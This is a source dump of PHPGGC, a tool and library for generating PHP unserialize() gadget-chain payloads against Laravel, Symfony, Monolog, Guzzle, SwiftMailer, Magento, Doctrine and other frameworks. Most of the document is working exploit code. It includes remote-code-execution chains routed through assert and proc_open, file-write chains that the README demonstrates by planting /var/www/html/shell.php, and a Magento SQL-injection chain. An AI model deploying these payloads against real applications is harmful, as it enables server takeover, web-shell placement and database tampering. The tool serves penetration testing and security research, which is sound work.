├── .gitignore ├── README.md ├── gadgetchains ├── Doctrine │ └── FW │ │ └── 1 │ │ ├── chain.php │ │ └── gadgets.php ├── Guzzle │ ├── FW │ │ └── 1 │ │ │ ├── chain.php │ │ │ └── gadgets.php │ └── RCE │ │ └── 1 │ │ ├── chain.php │ │ └── gadgets.php ├── Laravel │ └── RCE │ │ ├── 1 │ │ ├── chain.php │ │ └── gadgets.php │ │ ├── 2 │ │ ├── chain.php │ │ └── gadgets.php │ │ ├── 3 │ │ ├── chain.php │ │ └── gadgets.php │ │ └── 4 │ │ ├── chain.php │ │ └── gadgets.php ├── Magento │ └── SQLI │ │ └── 1 │ │ ├── chain.php │ │ └── gadgets.php ├── Monolog │ └── RCE │ │ ├── 1 │ │ ├── chain.php │ │ └── gadgets.php │ │ └── 2 │ │ ├── chain.php │ │ └── gadgets.php ├── Phalcon │ └── RCE │ │ └── 1 │ │ ├── chain.php │ │ └── gadgets.php ├── Slim │ └── RCE │ │ └── 1 │ │ ├── chain.php │ │ └── gadgets.php ├── SwiftMailer │ └── FW │ │ ├── 1 │ │ ├── chain.php │ │ └── gadgets.php │ │ ├── 2 │ │ ├── chain.php │ │ └── gadgets.php │ │ └── 3 │ │ ├── chain.php │ │ └── gadgets.php ├── Symfony │ ├── FW │ │ └── 1 │ │ │ ├── chain.php │ │ │ └── gadgets.php │ └── RCE │ │ ├── 1 │ │ ├── chain.php │ │ └── gadgets.php │ │ ├── 2 │ │ ├── chain.php │ │ └── gadgets.php │ │ └── 3 │ │ ├── chain.php │ │ └── gadgets.php ├── ThinkPHP │ ├── FD │ │ └── 1 │ │ │ ├── chain.php │ │ │ └── gadgets.php │ ├── FW │ │ └── 1 │ │ │ ├── chain.php │ │ │ └── gadgets.php │ └── RCE │ │ ├── 1 │ │ ├── chain.php │ │ └── gadgets.php │ │ └── 2 │ │ ├── chain.php │ │ └── gadgets.php ├── Yii │ └── RCE │ │ └── 1 │ │ ├── chain.php │ │ └── gadgets.php └── ZendFramework │ └── RCE │ └── 1 │ ├── chain.php │ └── gadgets.php ├── lib ├── PHPGGC.php ├── PHPGGC │ ├── Exception.php │ ├── GadgetChain.php │ └── GadgetChain │ │ ├── FileDelete.php │ │ ├── FileRead.php │ │ ├── FileWrite.php │ │ ├── RCE.php │ │ └── SqlInjection.php └── opis │ └── closure │ ├── CHANGELOG.md │ ├── LICENSE │ ├── NOTICE │ ├── README.md │ ├── autoload.php │ ├── composer.json │ ├── functions.php │ └── src │ ├── Analyzer.php │ ├── ClosureContext.php │ ├── ClosureScope.php │ ├── ClosureStream.php │ ├── ISecurityProvider.php │ ├── ReflectionClosure.php │ ├── SecurityException.php │ ├── SecurityProvider.php │ ├── SelfReference.php │ └── SerializableClosure.php ├── phpggc ├── phpinfo.php └── templates ├── chain.php └── gadgets.php /.gitignore: -------------------------------------------------------------------------------- 1 | .idea/* 2 | .DS_Store -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PHPGGC: PHP Generic Gadget Chains 2 | 3 | *PHPGGC is a library of unserialize() payloads along with a tool to generate them, from command line or programmatically*. 4 | When encountering an unserialize on a website you don't have the code of, or simply when trying to build an exploit, this tool allows you to generate the payload without having to go through the tedious steps of finding gadgets and combining them. It can be seen as the equivalent of [frohoff's ysoserial](https://github.com/frohoff/ysoserial), but for PHP. 5 | Currently, the tool supports: Doctrine, Guzzle, Laravel, Magento, Monolog, Phalcon, Slim, SwiftMailer, Symfony, Yii and ZendFramework. 6 | 7 | ## Requirements 8 | 9 | PHP >= 5.6 is required to run PHPGGC. 10 | 11 | ## Update 12 | 13 | * ThinkPHP v5.0.x file write 14 | * ThinkPHP v5.2.x RCE 15 | * ThinkPHP v6.0.x RCE 16 | * ThinkPHP v5.x file delete 17 | 18 | ## Usage 19 | 20 | Run `./phpggc -l` to obtain a list of gadget chains: 21 | 22 | ``` 23 | $ ./phpggc -l 24 | 25 | Gadget Chains 26 | ------------- 27 | 28 | NAME VERSION TYPE VECTOR I 29 | Doctrine/FW1 ? file_write __toString * 30 | Guzzle/FW1 6.0.0 <= 6.3.2 file_write __destruct 31 | Guzzle/RCE1 6.0.0 <= 6.3.2 rce __destruct 32 | Laravel/RCE1 5.4.27 rce __destruct 33 | Laravel/RCE2 5.5.39 rce __destruct 34 | Laravel/RCE3 5.5.39 rce __destruct * 35 | Laravel/RCE4 5.5.39 rce __destruct 36 | Magento/SQLI1 ? <= 1.9.3.4 sql_injection __destruct 37 | Monolog/RCE1 1.18 <= 1.23 rce __destruct 38 | Monolog/RCE2 1.5 <= 1.17 rce __destruct 39 | Phalcon/RCE1 <= 1.2.2 rce __wakeup * 40 | Slim/RCE1 3.8.1 rce __toString 41 | SwiftMailer/FW1 5.1.0 <= 5.4.8 file_write __toString 42 | SwiftMailer/FW2 6.0.0 <= 6.0.1 file_write __toString 43 | SwiftMailer/FW3 5.0.1 file_write __toString 44 | Symfony/FW1 2.5.2 file_write DebugImport * 45 | Symfony/RCE1 3.3 rce __destruct * 46 | Symfony/RCE2 2.3.42 < 2.6 rce __destruct * 47 | Symfony/RCE3 2.6 <= 2.8.32 rce __destruct * 48 | ThinkPHP/FD1 5.x file_delete __destruct * 49 | Yii/RCE1 1.1.19 rce __wakeup * 50 | ZendFramework/RCE1 ? <= 1.12.20 rce __destruct * 51 | 52 | ``` 53 | 54 | Every gadget chain has: 55 | 56 | - Name: Name of the framework/library 57 | - Version: Version of the framework/library for which gadgets are for 58 | - Type: Type of exploitation: RCE, File Write, File Read, Include... 59 | - Vector: the vector to trigger the chain after the unserialize (`__destruct()`, `__toString()`, `offsetGet()`, ...) 60 | - Informations: Other informations about the chain 61 | 62 | Use `-i` to get detailed information about a chain: 63 | 64 | ``` 65 | $ ./phpggc -i symfony/rce1 66 | Name : Symfony/RCE1 67 | Version : 3.3 68 | Type : rce 69 | Vector : __destruct 70 | Informations : 71 | Exec through proc_open() 72 | 73 | ./phpggc Symfony/RCE1 74 | ``` 75 | 76 | Once you have selected a chain, run `./phpggc [parameters]` to obtain the payload. 77 | For instance, to obtain a payload for Monolog, you'd do: 78 | 79 | ``` 80 | $ ./phpggc monolog/rce1 'phpinfo();' 81 | O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}} 82 | ``` 83 | 84 | For a file write using SwiftMailer, you'd do: 85 | 86 | ``` 87 | $ echo 'It works !' > /tmp/data 88 | $ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data 89 | O:13:"Swift_Message":8:{...} 90 | ``` 91 | 92 | Arguments allow to modify the way the payload is output. For instance, `-u` will URL encode it, and `-b` will convert it to base64. 93 | Payloads often contain NULL bytes and cannot be copy/pasted as-is. Use `-s` for a soft URL encode, which keeps the payload readable. 94 | 95 | The `-w` option allows you to define a PHP file containing a `wrapper($chain)` function. 96 | This will be called after the chain is built, but before the `serialize()`, in order to adjust the payload's shape. 97 | For instance, if the vulnerable code looks like this: 98 | 99 | ``` 100 | $data = unserialize($_GET['data']); 101 | print $data['message']; 102 | ``` 103 | 104 | You could use a __toString() chain, wrapping it like so: 105 | 106 | ``` 107 | # /tmp/my_wrapper.php 108 | 109 | function wrapper($chain) 110 | { 111 | return array( 112 | 'message' => $chain 113 | ); 114 | } 115 | ``` 116 | 117 | And you'd call phpggc like so: 118 | 119 | ``` 120 | $ ./phpggc -w /tmp/my_wrapper.php slim/rce1 'phpinfo();' 121 | a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}} 122 | ``` 123 | 124 | ## Contributing 125 | 126 | Pull requests are more than welcome. Please follow these simple guidelines: 127 | 128 | - Error-free payloads are prefered, as some websites exit abruptly even with E_NOTICE errors 129 | - `__destruct()` is always the best vector 130 | - Specify at least the version of the library you've built the payload on 131 | - Refrain from using references unless it is necessary or drastically reduces the size of the payload. If the payload is modified by hand afterwards, this might cause problems. 132 | - Do not include unused parameters in the gadget definition if they keep their default values. It just makes the payload bigger. 133 | 134 | Codewise, the directory structure is fairly straightforward: gadgets in _gadgets.php_, description + logic in _chain.php_. 135 | You can define pre- and post- processing methods, if parameters need to be modified. 136 | Hopefully, the already implemented gadgets should be enough for you to build yours. 137 | Otherwise, I'd be glad to answer your questions. 138 | -------------------------------------------------------------------------------- /gadgetchains/Doctrine/FW/1/chain.php: -------------------------------------------------------------------------------- 1 | extension)) 35 | $parameters['extension'] = '.' . $infos->extension; 36 | else 37 | $parameters['extension'] = ''; 38 | 39 | $parameters['directory'] = $infos->dirname; 40 | $parameters['path'] = $infos->dirname . '/e3/5b737464436c61737324434c4153534d455441444154415d5b315d' . $parameters['extension']; 41 | return $parameters; 42 | } 43 | 44 | public function generate(array $parameters) 45 | { 46 | $c = new Configuration([ 47 | 48 | ]); 49 | $table = (object) [ 50 | 'name' => $parameters['data'], 51 | 'schema' => '', 52 | 'indexes' => null, 53 | 'uniqueConstraints' => null, 54 | 'options' => null 55 | ]; 56 | $em0 = new EntityManager(null, $c); 57 | $d0 = new AnnotationDriver(new CachedReader([ 58 | 'stdClass' => 59 | [ 60 | 'Doctrine\ORM\Mapping\Embeddable' => true, 61 | 'Doctrine\ORM\Mapping\Table' => $table 62 | ] 63 | ])); 64 | $fc = new FilesystemCache($parameters['directory'], $parameters['extension']); 65 | $mf = new ClassMetadataFactory($fc, $em0, $d0); 66 | $em = new EntityManager($mf, null); 67 | $writer = new ResultSetMappingBuilder($em); 68 | 69 | return $writer; 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /gadgetchains/Doctrine/FW/1/gadgets.php: -------------------------------------------------------------------------------- 1 | reader = $reader; 26 | } 27 | } 28 | } 29 | 30 | namespace Doctrine\Common\Annotations 31 | { 32 | final class CachedReader 33 | { 34 | private $loadedAnnotations; 35 | 36 | function __construct($loadedAnnotations) 37 | { 38 | $this->loadedAnnotations = $loadedAnnotations; 39 | } 40 | } 41 | } 42 | 43 | namespace Doctrine\ORM\Query 44 | { 45 | class ResultSetMapping 46 | { 47 | public $declaringClasses = array(); 48 | public $columnOwnerMap = array(); 49 | public $fieldMappings = array(); 50 | 51 | } 52 | 53 | # $class = $this->em->getClassMetadata($this->declaringClasses[$columnName]); 54 | # $sql .= $class->fieldMappings[$this->fieldMappings[$columnName]]['columnName']; 55 | class ResultSetMappingBuilder extends ResultSetMapping 56 | { 57 | private $em; 58 | 59 | function __construct($em) 60 | { 61 | $columnName = 'X'; 62 | $this->columnOwnerMap[$columnName] = null; 63 | $this->fieldMappings[$columnName] = 0; 64 | $this->declaringClasses[$columnName] = 'stdClass'; 65 | $this->em = $em; 66 | } 67 | } 68 | } 69 | 70 | namespace Doctrine\ORM 71 | { 72 | class EntityManager 73 | { 74 | private $config; 75 | private $metadataFactory; 76 | private $closed = false; 77 | 78 | function __construct($metadataFactory, $config) 79 | { 80 | $this->metadataFactory = $metadataFactory; 81 | $this->config = $config; 82 | } 83 | } 84 | 85 | class Configuration extends \Doctrine\DBAL\Configuration 86 | { 87 | 88 | } 89 | } 90 | 91 | namespace Doctrine\DBAL 92 | { 93 | class Configuration 94 | { 95 | protected $_attributes = array(); 96 | 97 | function __construct($_attributes) 98 | { 99 | $this->_attributes = $_attributes; 100 | } 101 | } 102 | } 103 | 104 | namespace Doctrine\Common\Persistence\Mapping 105 | { 106 | abstract class AbstractClassMetadataFactory 107 | { 108 | protected $cacheSalt = '$CLASSMETADATA'; 109 | private $cacheDriver; 110 | protected $initialized = true; 111 | 112 | function __construct($cacheDriver) 113 | { 114 | $this->cacheDriver = $cacheDriver; 115 | } 116 | } 117 | } 118 | 119 | namespace Doctrine\ORM\Mapping 120 | { 121 | use \Doctrine\Common\Persistence\Mapping\AbstractClassMetadataFactory; 122 | use \Doctrine\Common\EventManager; 123 | 124 | class ClassMetadataFactory extends AbstractClassMetadataFactory 125 | { 126 | private $em; 127 | private $driver; 128 | private $evm; 129 | 130 | function __construct($cacheDriver, $em, $driver) 131 | { 132 | parent::__construct($cacheDriver); 133 | $this->em = $em; 134 | $this->driver = $driver; 135 | $this->evm = new EventManager(); 136 | } 137 | } 138 | } 139 | 140 | namespace Doctrine\Common\Persistence\Mapping\Driver 141 | { 142 | class DefaultFileLocator 143 | { 144 | protected $paths = ['']; 145 | protected $fileExtension; 146 | } 147 | } 148 | 149 | namespace Doctrine\Common\Persistence\Mapping\Driver 150 | { 151 | abstract class FileDriver 152 | { 153 | protected $locator; 154 | protected $classCache; 155 | protected $globalBasename; 156 | } 157 | 158 | class PHPDriver extends FileDriver 159 | { 160 | protected $metadata; 161 | } 162 | } 163 | 164 | namespace Doctrine\Common\Cache 165 | { 166 | abstract class CacheProvider 167 | { 168 | private $namespace = ''; 169 | private $namespaceVersion; 170 | } 171 | 172 | abstract class FileCache extends CacheProvider 173 | { 174 | protected $directory; 175 | private $extension; 176 | private $umask = ~0777; 177 | private $directoryStringLength; 178 | private $extensionStringLength; 179 | private $isRunningOnWindows; 180 | 181 | function __construct($directory, $extension) 182 | { 183 | $this->directory = $directory; 184 | $this->directoryStringLength = strlen($directory); 185 | $this->extension = $extension; 186 | $this->extensionStringLength = strlen($extension); 187 | } 188 | } 189 | 190 | class FilesystemCache extends FileCache 191 | { 192 | } 193 | } 194 | 195 | 196 | namespace Doctrine\Common 197 | { 198 | class EventManager 199 | { 200 | private $_listeners = []; 201 | } 202 | } -------------------------------------------------------------------------------- /gadgetchains/Guzzle/FW/1/chain.php: -------------------------------------------------------------------------------- 1 | data = [ 12 | 'Expires' => 1, 13 | 'Discard' => false, 14 | 'Value' => $data 15 | ]; 16 | } 17 | } 18 | 19 | class CookieJar 20 | { 21 | private $cookies = []; 22 | private $strictMode; 23 | 24 | public function __construct($data) 25 | { 26 | $this->cookies = [new SetCookie($data)]; 27 | } 28 | } 29 | 30 | class FileCookieJar extends CookieJar 31 | { 32 | private $filename; 33 | private $storeSessionCookies = true; 34 | 35 | public function __construct($filename, $data) 36 | { 37 | parent::__construct($data); 38 | $this->filename = $filename; 39 | } 40 | } 41 | } -------------------------------------------------------------------------------- /gadgetchains/Guzzle/RCE/1/chain.php: -------------------------------------------------------------------------------- 1 | [ 19 | new \GuzzleHttp\HandlerStack($code), 20 | 'resolve' 21 | ] 22 | ]); 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /gadgetchains/Guzzle/RCE/1/gadgets.php: -------------------------------------------------------------------------------- 1 | methods = $methods; 17 | 18 | foreach ($methods as $name => $fn) { 19 | $this->{'_fn_' . $name} = $fn; 20 | } 21 | } 22 | 23 | /* 24 | public function __destruct() 25 | { 26 | if (isset($this->_fn_close)) { 27 | call_user_func($this->_fn_close); 28 | } 29 | } 30 | 31 | public function close() 32 | { 33 | return call_user_func($this->_fn_close); 34 | } 35 | */ 36 | } 37 | } 38 | 39 | namespace GuzzleHttp 40 | { 41 | class HandlerStack 42 | { 43 | private $handler; 44 | private $stack = [['assert']]; 45 | private $cached = false; 46 | 47 | function __construct($handler) 48 | { 49 | $this->handler = $handler; 50 | } 51 | 52 | /* 53 | public function resolve() 54 | { 55 | if (!$this->cached) { 56 | if (!($prev = $this->handler)) { 57 | throw new \LogicException('No handler has been specified'); 58 | } 59 | 60 | foreach (array_reverse($this->stack) as $fn) { 61 | $prev = $fn[0]($prev); 62 | } 63 | 64 | $this->cached = $prev; 65 | } 66 | 67 | return $this->cached; 68 | } 69 | */ 70 | } 71 | } -------------------------------------------------------------------------------- /gadgetchains/Laravel/RCE/1/chain.php: -------------------------------------------------------------------------------- 1 | events = $events; 13 | $this->event = $cmd; 14 | } 15 | } 16 | } 17 | 18 | 19 | namespace Faker 20 | { 21 | class Generator 22 | { 23 | protected $formatters = [ 24 | 'dispatch' => 'assert' 25 | ]; 26 | } 27 | } -------------------------------------------------------------------------------- /gadgetchains/Laravel/RCE/2/chain.php: -------------------------------------------------------------------------------- 1 | events = $events; 13 | $this->event = $cmd; 14 | } 15 | } 16 | } 17 | 18 | 19 | namespace Illuminate\Events 20 | { 21 | class Dispatcher 22 | { 23 | protected $listeners; 24 | 25 | function __construct($cmd) 26 | { 27 | $this->listeners = [ 28 | $cmd => ['assert'] 29 | ]; 30 | } 31 | } 32 | } -------------------------------------------------------------------------------- /gadgetchains/Laravel/RCE/3/chain.php: -------------------------------------------------------------------------------- 1 | events = $events; 12 | } 13 | } 14 | } 15 | 16 | 17 | namespace Illuminate\Notifications 18 | { 19 | class ChannelManager 20 | { 21 | protected $app; 22 | protected $defaultChannel; 23 | protected $customCreators; 24 | 25 | function __construct($cmd) 26 | { 27 | $this->app = $cmd; 28 | $this->customCreators = ['x' => 'assert']; 29 | $this->defaultChannel = 'x'; 30 | } 31 | } 32 | } -------------------------------------------------------------------------------- /gadgetchains/Laravel/RCE/4/chain.php: -------------------------------------------------------------------------------- 1 | events = $events; 13 | $this->event = $event; 14 | } 15 | } 16 | } 17 | 18 | 19 | namespace Illuminate\Validation 20 | { 21 | class Validator 22 | { 23 | public $extensions; 24 | 25 | function __construct() 26 | { 27 | $this->extensions = ['' => 'assert']; 28 | } 29 | } 30 | } -------------------------------------------------------------------------------- /gadgetchains/Magento/SQLI/1/chain.php: -------------------------------------------------------------------------------- 1 | connected = true; 11 | $this->redis = $redis; 12 | } 13 | } 14 | 15 | class Mage_Sales_Model_Order_Payment_Transaction 16 | { 17 | protected $_isFailsafe; 18 | protected $_paymentObject; 19 | protected $_data; 20 | protected $_resourceName; 21 | protected $_idFieldName; 22 | 23 | public function __construct($sql) 24 | { 25 | $this->_isFailsafe = true; 26 | $this->_paymentObject = new Mage_Sales_Model_Order_Payment; 27 | $this->_data = [ 28 | 'order_id' => 1, 29 | 'store_id' => new Zend_Db_Expr("1); " . $sql . ';--') 30 | ]; 31 | $this->_resourceName = 'log/log'; 32 | $this->_idFieldName = 'id'; 33 | } 34 | } 35 | 36 | class Zend_Db_Expr 37 | { 38 | protected $_expression; 39 | 40 | public function __construct($expression) 41 | { 42 | $this->_expression = $expression; 43 | } 44 | } 45 | 46 | class Mage_Sales_Model_Order_Payment 47 | { 48 | protected $_idFieldName; 49 | 50 | public function __construct() 51 | { 52 | $this->_idFieldName = 'id'; 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /gadgetchains/Monolog/RCE/1/chain.php: -------------------------------------------------------------------------------- 1 | null] 19 | ) 20 | ); 21 | } 22 | } -------------------------------------------------------------------------------- /gadgetchains/Monolog/RCE/1/gadgets.php: -------------------------------------------------------------------------------- 1 | socket = $x; 12 | } 13 | } 14 | 15 | class BufferHandler 16 | { 17 | protected $handler; 18 | protected $bufferSize = -1; 19 | protected $buffer; 20 | # ($record['level'] < $this->level) == false 21 | protected $level = null; 22 | protected $initialized = true; 23 | # ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false 24 | protected $bufferLimit = -1; 25 | protected $processors; 26 | 27 | function __construct($methods, $command) 28 | { 29 | $this->processors = $methods; 30 | $this->buffer = [$command]; 31 | $this->handler = clone $this; 32 | } 33 | } 34 | } -------------------------------------------------------------------------------- /gadgetchains/Monolog/RCE/2/chain.php: -------------------------------------------------------------------------------- 1 | null] 19 | ) 20 | ); 21 | } 22 | } -------------------------------------------------------------------------------- /gadgetchains/Monolog/RCE/2/gadgets.php: -------------------------------------------------------------------------------- 1 | socket = $x; 13 | } 14 | } 15 | 16 | class BufferHandler 17 | { 18 | protected $handler; 19 | protected $bufferSize = -1; 20 | protected $buffer; 21 | # ($record['level'] < $this->level) == false 22 | protected $level = null; 23 | protected $initialized = true; 24 | # ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false 25 | protected $bufferLimit = -1; 26 | protected $processors; 27 | 28 | function __construct($methods, $command) 29 | { 30 | $this->processors = $methods; 31 | $this->buffer = [$command]; 32 | $this->handler = clone $this; 33 | } 34 | } 35 | } -------------------------------------------------------------------------------- /gadgetchains/Phalcon/RCE/1/chain.php: -------------------------------------------------------------------------------- 1 | _shared = false; 10 | $this->_definition = array( 11 | 'className' => '\Phalcon\Mvc\View\Engine\Php', 12 | 'arguments' => array(array('type' => 'parameter', 'value' => 'test')), 13 | 'calls' => array( 14 | array( 15 | 'method' => 'render', 16 | 'arguments' => array( 17 | array( 18 | 'type' => 'parameter', 19 | 'value' => 'php://input' 20 | ), array( 21 | 'type' => 'parameter', 22 | 'value' => array() 23 | ) 24 | ) 25 | ) 26 | ) 27 | ); 28 | } 29 | } 30 | } 31 | 32 | namespace Phalcon { 33 | class Di { 34 | protected $_services; 35 | 36 | public function __construct() { 37 | $this->_services = array('session' => new \Phalcon\Di\Service()); 38 | } 39 | } 40 | } 41 | 42 | namespace Phalcon\Http { 43 | class Cookie { 44 | protected $_dependencyInjector; 45 | protected $_name = "test"; 46 | protected $_expire = 0; 47 | protected $_httpOnly = 1; 48 | protected $_readed = true; 49 | protected $_restored = false; 50 | 51 | public function __construct() { 52 | $this->_dependencyInjector = new \Phalcon\Di(); 53 | } 54 | } 55 | } 56 | 57 | namespace Phalcon\Logger\Adapter { 58 | class File { 59 | protected $_transaction; 60 | protected $_queue; 61 | protected $_formatter; 62 | protected $_logLevel; 63 | protected $_fileHandler; 64 | protected $_path; 65 | protected $_options; 66 | 67 | function __construct() { 68 | $this->_path = new \Phalcon\Http\Cookie("test"); 69 | } 70 | } 71 | } 72 | 73 | ?> 74 | -------------------------------------------------------------------------------- /gadgetchains/Slim/RCE/1/chain.php: -------------------------------------------------------------------------------- 1 | keys = $this->raw = $this->values = $array; 14 | } 15 | } 16 | } 17 | 18 | namespace Slim 19 | { 20 | class App 21 | { 22 | private $container; 23 | 24 | function __construct($container) 25 | { 26 | $this->container = $container; 27 | } 28 | } 29 | 30 | class Container extends \Pimple\Container 31 | { 32 | 33 | } 34 | } 35 | 36 | namespace Slim\Http 37 | { 38 | use \Slim\App; 39 | use \Slim\Container; 40 | 41 | abstract class Message 42 | { 43 | protected $headers; 44 | protected $body = ''; 45 | 46 | function __construct($code) 47 | { 48 | $z = new App(new Container(['has' => 'assert'])); 49 | $y = new App($z); 50 | $this->headers = new App(new Container(['all' => [$y, $code]])); 51 | } 52 | } 53 | 54 | class Response extends Message 55 | { 56 | 57 | } 58 | } -------------------------------------------------------------------------------- /gadgetchains/SwiftMailer/FW/1/chain.php: -------------------------------------------------------------------------------- 1 | _encoder = new Swift_Mime_HeaderEncoder_Base64HeaderEncoder(); 20 | $this->_paramEncoder = new Swift_Mime_HeaderEncoder_Base64HeaderEncoder(); 21 | $this->_grammar = new Swift_Mime_Grammar(); 22 | } 23 | } 24 | 25 | class Swift_Mime_SimpleHeaderSet 26 | { 27 | private $_factory; 28 | 29 | function __construct() 30 | { 31 | $this->_factory = new Swift_Mime_SimpleHeaderFactory(); 32 | } 33 | } 34 | 35 | class Swift_Mime_ContentEncoder_RawContentEncoder 36 | { 37 | 38 | } 39 | 40 | class Swift_Mime_SimpleMimeEntity 41 | { 42 | private $_headers; 43 | private $_body; 44 | private $_encoder; 45 | private $_cache; 46 | private $_cacheKey = 'something'; 47 | 48 | function __construct($cache, $body) 49 | { 50 | $this->_cache = $cache; 51 | $this->_body = $body; 52 | $this->_encoder = new Swift_Mime_ContentEncoder_RawContentEncoder(); 53 | $this->_headers = new Swift_Mime_SimpleHeaderSet(); 54 | } 55 | } 56 | 57 | class Swift_Message extends Swift_Mime_SimpleMimeEntity 58 | { 59 | private $headerSigners = []; 60 | private $bodySigners = []; 61 | private $savedMessage = []; 62 | 63 | function __construct($headerSigner, $cache, $body) 64 | { 65 | parent::__construct($cache, $body); 66 | $this->headerSigners = [$headerSigner]; 67 | } 68 | } 69 | 70 | class Swift_Signers_DomainKeySigner 71 | { 72 | protected $_privateKey = <<_bound = [$_bound]; 94 | } 95 | } 96 | 97 | class Swift_KeyCache_ArrayKeyCache 98 | { 99 | private $_contents = []; 100 | private $_stream; 101 | 102 | function __construct($_stream) 103 | { 104 | $this->_stream = $_stream; 105 | } 106 | } 107 | 108 | class Swift_KeyCache_SimpleKeyCacheInputStream 109 | { 110 | private $_keyCache; 111 | private $_nsKey = 'something'; 112 | private $_itemKey = 'something'; 113 | private $_writeThrough = null; 114 | 115 | function __construct($_writeThrough) 116 | { 117 | $this->_keyCache = new Swift_KeyCache_ArrayKeyCache(null); 118 | $this->_writeThrough = $_writeThrough; 119 | } 120 | } 121 | 122 | abstract class Swift_ByteStream_AbstractFilterableInputStream 123 | { 124 | } 125 | 126 | class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream 127 | { 128 | private $_path; 129 | private $_mode = 'w+b'; 130 | 131 | function __construct($_path) 132 | { 133 | $this->_path = $_path; 134 | } 135 | } -------------------------------------------------------------------------------- /gadgetchains/SwiftMailer/FW/2/chain.php: -------------------------------------------------------------------------------- 1 | encoder = new Swift_Mime_HeaderEncoder_Base64HeaderEncoder(); 20 | $this->paramEncoder = new Swift_Mime_HeaderEncoder_Base64HeaderEncoder(); 21 | $this->grammar = new Swift_Mime_Grammar(); 22 | } 23 | } 24 | 25 | class Swift_Mime_SimpleHeaderSet 26 | { 27 | private $factory; 28 | 29 | function __construct() 30 | { 31 | $this->factory = new Swift_Mime_SimpleHeaderFactory(); 32 | } 33 | } 34 | 35 | class Swift_Mime_ContentEncoder_RawContentEncoder 36 | { 37 | 38 | } 39 | 40 | class Swift_Mime_SimpleMimeEntity 41 | { 42 | private $headers; 43 | private $body; 44 | private $encoder; 45 | private $cache; 46 | private $cacheKey = 'something'; 47 | 48 | function __construct($cache, $body) 49 | { 50 | $this->cache = $cache; 51 | $this->body = $body; 52 | $this->encoder = new Swift_Mime_ContentEncoder_RawContentEncoder(); 53 | $this->headers = new Swift_Mime_SimpleHeaderSet(); 54 | } 55 | } 56 | 57 | class Swift_Message extends Swift_Mime_SimpleMimeEntity 58 | { 59 | private $headerSigners = []; 60 | private $bodySigners = []; 61 | private $savedMessage = []; 62 | 63 | function __construct($headerSigner, $cache, $body) 64 | { 65 | parent::__construct($cache, $body); 66 | $this->headerSigners = [$headerSigner]; 67 | } 68 | } 69 | 70 | class Swift_Signers_DomainKeySigner 71 | { 72 | protected $privateKey = <<bound = [$bound]; 94 | } 95 | } 96 | 97 | class Swift_KeyCache_ArrayKeyCache 98 | { 99 | private $contents = []; 100 | private $stream; 101 | 102 | function __construct($stream) 103 | { 104 | $this->stream = $stream; 105 | } 106 | } 107 | 108 | class Swift_KeyCache_SimpleKeyCacheInputStream 109 | { 110 | private $keyCache; 111 | private $nsKey = 'something'; 112 | private $itemKey = 'something'; 113 | private $writeThrough = null; 114 | 115 | function __construct($writeThrough) 116 | { 117 | $this->keyCache = new Swift_KeyCache_ArrayKeyCache(null); 118 | $this->writeThrough = $writeThrough; 119 | } 120 | } 121 | 122 | abstract class Swift_ByteStream_AbstractFilterableInputStream 123 | { 124 | } 125 | 126 | class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream 127 | { 128 | private $path; 129 | private $mode = 'w+b'; 130 | 131 | function __construct($path) 132 | { 133 | $this->path = $path; 134 | } 135 | } -------------------------------------------------------------------------------- /gadgetchains/SwiftMailer/FW/3/chain.php: -------------------------------------------------------------------------------- 1 | _encoder = new Swift_Mime_HeaderEncoder_Base64HeaderEncoder(); 20 | $this->_paramEncoder = new Swift_Mime_HeaderEncoder_Base64HeaderEncoder(); 21 | $this->_grammar = new Swift_Mime_Grammar(); 22 | } 23 | } 24 | 25 | class Swift_Mime_SimpleHeaderSet 26 | { 27 | private $_factory; 28 | 29 | function __construct() 30 | { 31 | $this->_factory = new Swift_Mime_SimpleHeaderFactory(); 32 | } 33 | } 34 | 35 | class Swift_Mime_ContentEncoder_RawContentEncoder 36 | { 37 | 38 | } 39 | 40 | class Swift_Mime_SimpleMimeEntity 41 | { 42 | private $_headers; 43 | private $_body; 44 | private $_encoder; 45 | private $_cache; 46 | private $_cacheKey = 'something'; 47 | 48 | function __construct($cache, $body) 49 | { 50 | $this->_cache = $cache; 51 | $this->_body = $body; 52 | $this->_encoder = new Swift_Mime_ContentEncoder_RawContentEncoder(); 53 | $this->_headers = new Swift_Mime_SimpleHeaderSet(); 54 | } 55 | } 56 | 57 | class Swift_SignedMessage extends Swift_Mime_SimpleMimeEntity 58 | { 59 | private $headerSigners = []; 60 | private $bodySigners = []; 61 | private $savedMessage = []; 62 | 63 | function __construct($headerSigner, $cache, $body) 64 | { 65 | parent::__construct($cache, $body); 66 | $this->headerSigners = [$headerSigner]; 67 | } 68 | } 69 | 70 | class Swift_Signers_DomainKeySigner 71 | { 72 | protected $_privateKey = <<_bound = [$_bound]; 94 | } 95 | } 96 | 97 | class Swift_KeyCache_ArrayKeyCache 98 | { 99 | private $_contents = []; 100 | private $_stream; 101 | 102 | function __construct($_stream) 103 | { 104 | $this->_stream = $_stream; 105 | } 106 | } 107 | 108 | class Swift_KeyCache_SimpleKeyCacheInputStream 109 | { 110 | private $_keyCache; 111 | private $_nsKey = 'something'; 112 | private $_itemKey = 'something'; 113 | private $_writeThrough = null; 114 | 115 | function __construct($_writeThrough) 116 | { 117 | $this->_keyCache = new Swift_KeyCache_ArrayKeyCache(null); 118 | $this->_writeThrough = $_writeThrough; 119 | } 120 | } 121 | 122 | abstract class Swift_ByteStream_AbstractFilterableInputStream 123 | { 124 | } 125 | 126 | class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream 127 | { 128 | private $_path; 129 | private $_mode = 'w+b'; 130 | 131 | function 